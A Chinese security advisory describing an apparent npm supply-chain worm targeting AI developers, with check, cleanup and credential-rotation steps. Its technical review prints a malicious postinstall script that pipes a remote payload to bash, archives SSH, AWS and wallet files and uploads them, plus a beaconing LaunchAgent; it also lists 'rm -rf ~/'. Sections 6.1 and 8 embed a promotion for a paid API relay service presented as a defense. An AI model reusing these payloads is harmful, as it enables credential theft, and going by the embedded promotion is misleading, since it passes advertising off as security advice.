发表日期:2026-05-13
分类:安全资讯 / 供应链安全
标签npm 供应链攻击 安全漏洞 AI安全 蠕虫


目录

  • 一、事件概述

  • 二、危害分析

  • 三、自查步骤(必做)

  • 四、清除与应急响应

  • 五、密钥轮换清单

  • 六、临时防御措施

  • 七、技术复盘

  • 八、总结与建议


一、事件概述

2026年5月12日,安全社区披露了一起高危供应链投毒事件。一款代号为 Mini Shai-Hulud(迷你沙海蠕虫)的恶意软件正在通过 npm 生态大规模传播,部分杀毒引擎已将其标记为 Trojan.Npm.Miner

关键数据

指标 详情
蠕虫名称 Mini Shai-Hulud / Trojan.Npm.Miner
攻击类型 供应链投毒 + 凭据窃取 + 持久化后门
污染 npm 包数量 超过 200 个(含伪造的热门库)
波及 AI 生态 LangChain、Transformers 等 SDK 的伪造版本
受影响平台 macOS、Linux

⚠️ 重点关注:本次攻击已从传统前端供应链延伸至 Mistral AI、Hugging Face、UiPath 等 AI 后端基础设施,攻击者的核心目标是 云 GPU 密钥和模型权重


二、危害分析

Mini Shai-Hulud 的能力链条分为三个层次:

2.1 凭据窃取——地毯式扫描

蠕虫会定向搜索以下敏感文件并回传至 C2 服务器:

bash

# 环境变量
.env

# 云服务凭证
.aws/credentials
.azure/
.gcp/

# 版本控制与包管理
.github/Token
.npmrc

# SSH 密钥
~/.ssh/id_rsa
~/.ssh/id_ed25519

# 加密资产
~/.config/ledger/
wallet.dat

总结一句话:能卖钱的、能登录服务器的、能提走 GPU 算力的,它全要。

2.2 持久化驻留——开机即运行

bash

# macOS 驻留路径
~/Library/LaunchAgents/com.apple.gh-token.plist
~/Library/LaunchAgents/com.system.miner.plist

# Linux 驻留路径
/etc/systemd/system/gh-token.service
/etc/systemd/system/miner.service

感染后每次开机都会自动启动恶意进程,持续窃取敏感信息。

2.3 潜在破坏——被检测即自毁

多个分析样本显示,蠕虫代码中存在环境检测逻辑。一旦检测到自身被调试或即将被清除,可能触发自毁指令

bash

rm -rf ~/

这意味着:在彻底清除蠕虫之前,不要对受感染机器做任何敏感操作,必须先断网。


三、自查步骤(必做)

3.1 检查驻留服务

macOS 用户请执行

bash

launchctl list | grep -E "gh-token|miner|shai"

Linux 用户请执行

bash

systemctl list-units --type=service | grep -E "gh-token|miner"
systemctl list-units --type=service --state=running | grep -v "systemd\|dbus\|cron"

如果屏幕有任何输出,说明你的机器极有可能已被感染,继续看第四节清除步骤。

3.2 检查 lockfile 依赖

分别检查以下文件是否存在异常条目:

bash

# npm 项目
cat package-lock.json | grep -E "githubusercontent|raw\.github"

# pnpm 项目
cat pnpm-lock.yaml | grep -E "githubusercontent|resolved.*raw"

# yarn 项目
cat yarn.lock | grep -E "githubusercontent|resolved.*raw"

重点排查

  • 依赖的 resolved 字段指向非官方 npm registry

  • 包名与知名库高度相似(如 langchain-utils-protransformers-core

  • 包含陌生的 GitHub raw 链接或 commit 哈希


四、清除与应急响应

4.1 立即断网

bash

# macOS
sudo ifconfig en0 down

# Linux
sudo ifconfig eth0 down
# 或
sudo nmcli networking off

先断网,再操作。这是铁律。

4.2 macOS 清除步骤

bash

# 1. 卸载可疑 LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.apple.gh-token.plist 2>/dev/null
launchctl unload ~/Library/LaunchAgents/com.system.miner.plist 2>/dev/null

# 2. 删除 plist 文件
rm -f ~/Library/LaunchAgents/com.apple.gh-token.plist
rm -f ~/Library/LaunchAgents/com.system.miner.plist

# 3. 杀死可疑进程
ps aux | grep -E "gh-token|miner|shai" | grep -v grep | awk '{print $2}' | xargs kill -9 2>/dev/null

# 4. 检查并清理可疑的 cron 任务
crontab -l | grep -E "curl|wget|bash"  # 如有输出,执行 crontab -e 删除对应行

4.3 Linux 清除步骤

bash

# 1. 停止可疑服务
sudo systemctl stop gh-token.service 2>/dev/null
sudo systemctl stop miner.service 2>/dev/null

# 2. 禁用自启动
sudo systemctl disable gh-token.service 2>/dev/null
sudo systemctl disable miner.service 2>/dev/null

# 3. 删除 service 文件
sudo rm -f /etc/systemd/system/gh-token.service
sudo rm -f /etc/systemd/system/miner.service

# 4. 重载 systemd
sudo systemctl daemon-reload

# 5. 杀死残留进程
ps aux | grep -E "gh-token|miner|shai" | grep -v grep | awk '{print $2}' | xargs kill -9

4.4 验证清除结果

bash

# 再次检查进程
ps aux | grep -E "gh-token|miner|shai"

# 检查网络连接
netstat -antp 2>/dev/null | grep ESTABLISHED
# macOS 用
lsof -i -P | grep ESTABLISHED

确认无异常后,才能进入密钥轮换环节。


五、密钥轮换清单

⚠️ 再次强调:以下所有操作必须在清除蠕虫并断网验证后,从一台干净的设备上执行。

轮换清单(请逐项确认并执行):

序号 凭证类型 操作
1 AWS AK/SK IAM → 用户 → 安全凭证 → 创建访问密钥 → 停用旧密钥
2 阿里云 AK/SK RAM 访问控制 → 用户 → 管理 AccessKey
3 腾讯云 / 华为云 AK/SK 访问管理 → API 密钥管理
4 GitHub Token Settings → Developer settings → Tokens → 吊销 → 重新生成
5 npm Token npm 官网 → Access Tokens → 删除 → 新建
6 Hugging Face Token Settings → Access Tokens → 吊销
7 Docker Hub Token Account Settings → Security → 删除旧 Token
8 加密钱包私钥 创建新钱包并转移资产(如有接触过开发环境)

六、临时防御措施

在官方生态完全清理之前,建议采取以下临时策略:

6.1 API 流量中转

将涉及 AI 模型拉取、依赖元数据查询等敏感出站请求,通过可信的中转网关转发,避免与潜在 C2 服务器产生直接通信。

目前社区反馈 wellapi 点 org  , 在处理这类 API 中转流量时延迟较低、表现稳定。该服务支持 USDT 支付,适合需要隐私保护和快速部署的国际团队应急使用,且在同类网关中价格偏低。

6.2 锁定 npm 依赖

bash

# 锁定 registry,避免被重定向到恶意源
npm config set registry https://registry.npmjs.org/
npm config set strict-ssl true

# 项目中添加 .npmrc
echo "registry=https://registry.npmjs.org/" >> .npmrc
echo "strict-ssl=true" >> .npmrc

6.3 CI/CD 最小权限

yaml

# GitHub Actions 示例:限制 Token 权限
permissions:
  contents: read
  packages: read
  id-token: none

七、技术复盘

根据安全团队脱敏后的样本,蠕虫核心载荷大致如下:

javascript

// 恶意 postinstall 脚本(已脱敏)
const { exec } = require('child_process');

// 第一阶段:下载并执行 payload
exec('curl -s http://<malicious-domain>/payload.sh | bash', (err, stdout) => {
    if (err) {
        console.log('Install failed, retrying...');
        return;
    }
    // 第二阶段:上传窃取到的敏感数据
    exec('tar -czf /tmp/.cache.tgz ~/.ssh ~/.aws ~/.config/ledger', (err2) => {
        if (!err2) {
            exec('curl -X POST -F "file=@/tmp/.cache.tgz" http://<malicious-domain>/upload');
        }
    });
});

一个典型的 payload.sh 会完成以下功能:

bash

#!/bin/bash
# 1. 收集系统信息
uname -a > /tmp/.sysinfo
cat /etc/hostname >> /tmp/.sysinfo

# 2. 建立持久化
# macOS
cat << EOF > ~/Library/LaunchAgents/com.apple.gh-token.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.gh-token</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>curl -s http://<malicious-domain>/beacon.sh | bash</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>StartInterval</key>
    <integer>3600</integer>
</dict>
</plist>
EOF
launchctl load ~/Library/LaunchAgents/com.apple.gh-token.plist

# 3. 上传系统信息
curl -X POST -d @/tmp/.sysinfo http://<malicious-domain>/report

为什么 AI 开源生态成了重灾区?

  1. 依赖链长:一个 AI 项目的依赖链往往包含数十个包,审计盲区多

  2. GPU 算力黑产:窃取的云 GPU 密钥可以在黑市高价出售

  3. 模型权重价值:大模型的权重文件是核心资产,直接具有商业价值

  4. 开发者惯性:AI 从业者往往更关注模型效果而非依赖安全


八、总结与建议

核心要点

  1. Mini Shai-Hulud 不是普通病毒,是专攻 AI 开发生态的定向供应链蠕虫

  2. 持久化 + 窃密 + 潜在自毁,威胁等级极高

  3. 事后补救成本远高于事前防御

给开发者的三条铁律

text

1. 永远不要直接运行来源不明的 curl | bash 命令
2. CI/CD 管道遵循最小权限原则
3. 依赖审计纳入日常开发流程

给团队的建议

在官方补丁覆盖到位之前:

  • API 中转:敏感流量走可信网关转发,可参考 wellapi 等中转方案实现流量清洗

  • 密钥轮换:本文第五节清单逐项检查

  • 监控告警:对所有出站请求配置异常检测


📢 转发提醒:如果你身边有做 AI 开发、npm 包维护、云服务管理的同事,请把这篇指南转发给他。也许你的一次转发,就能帮一个团队避免一场安全灾难。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐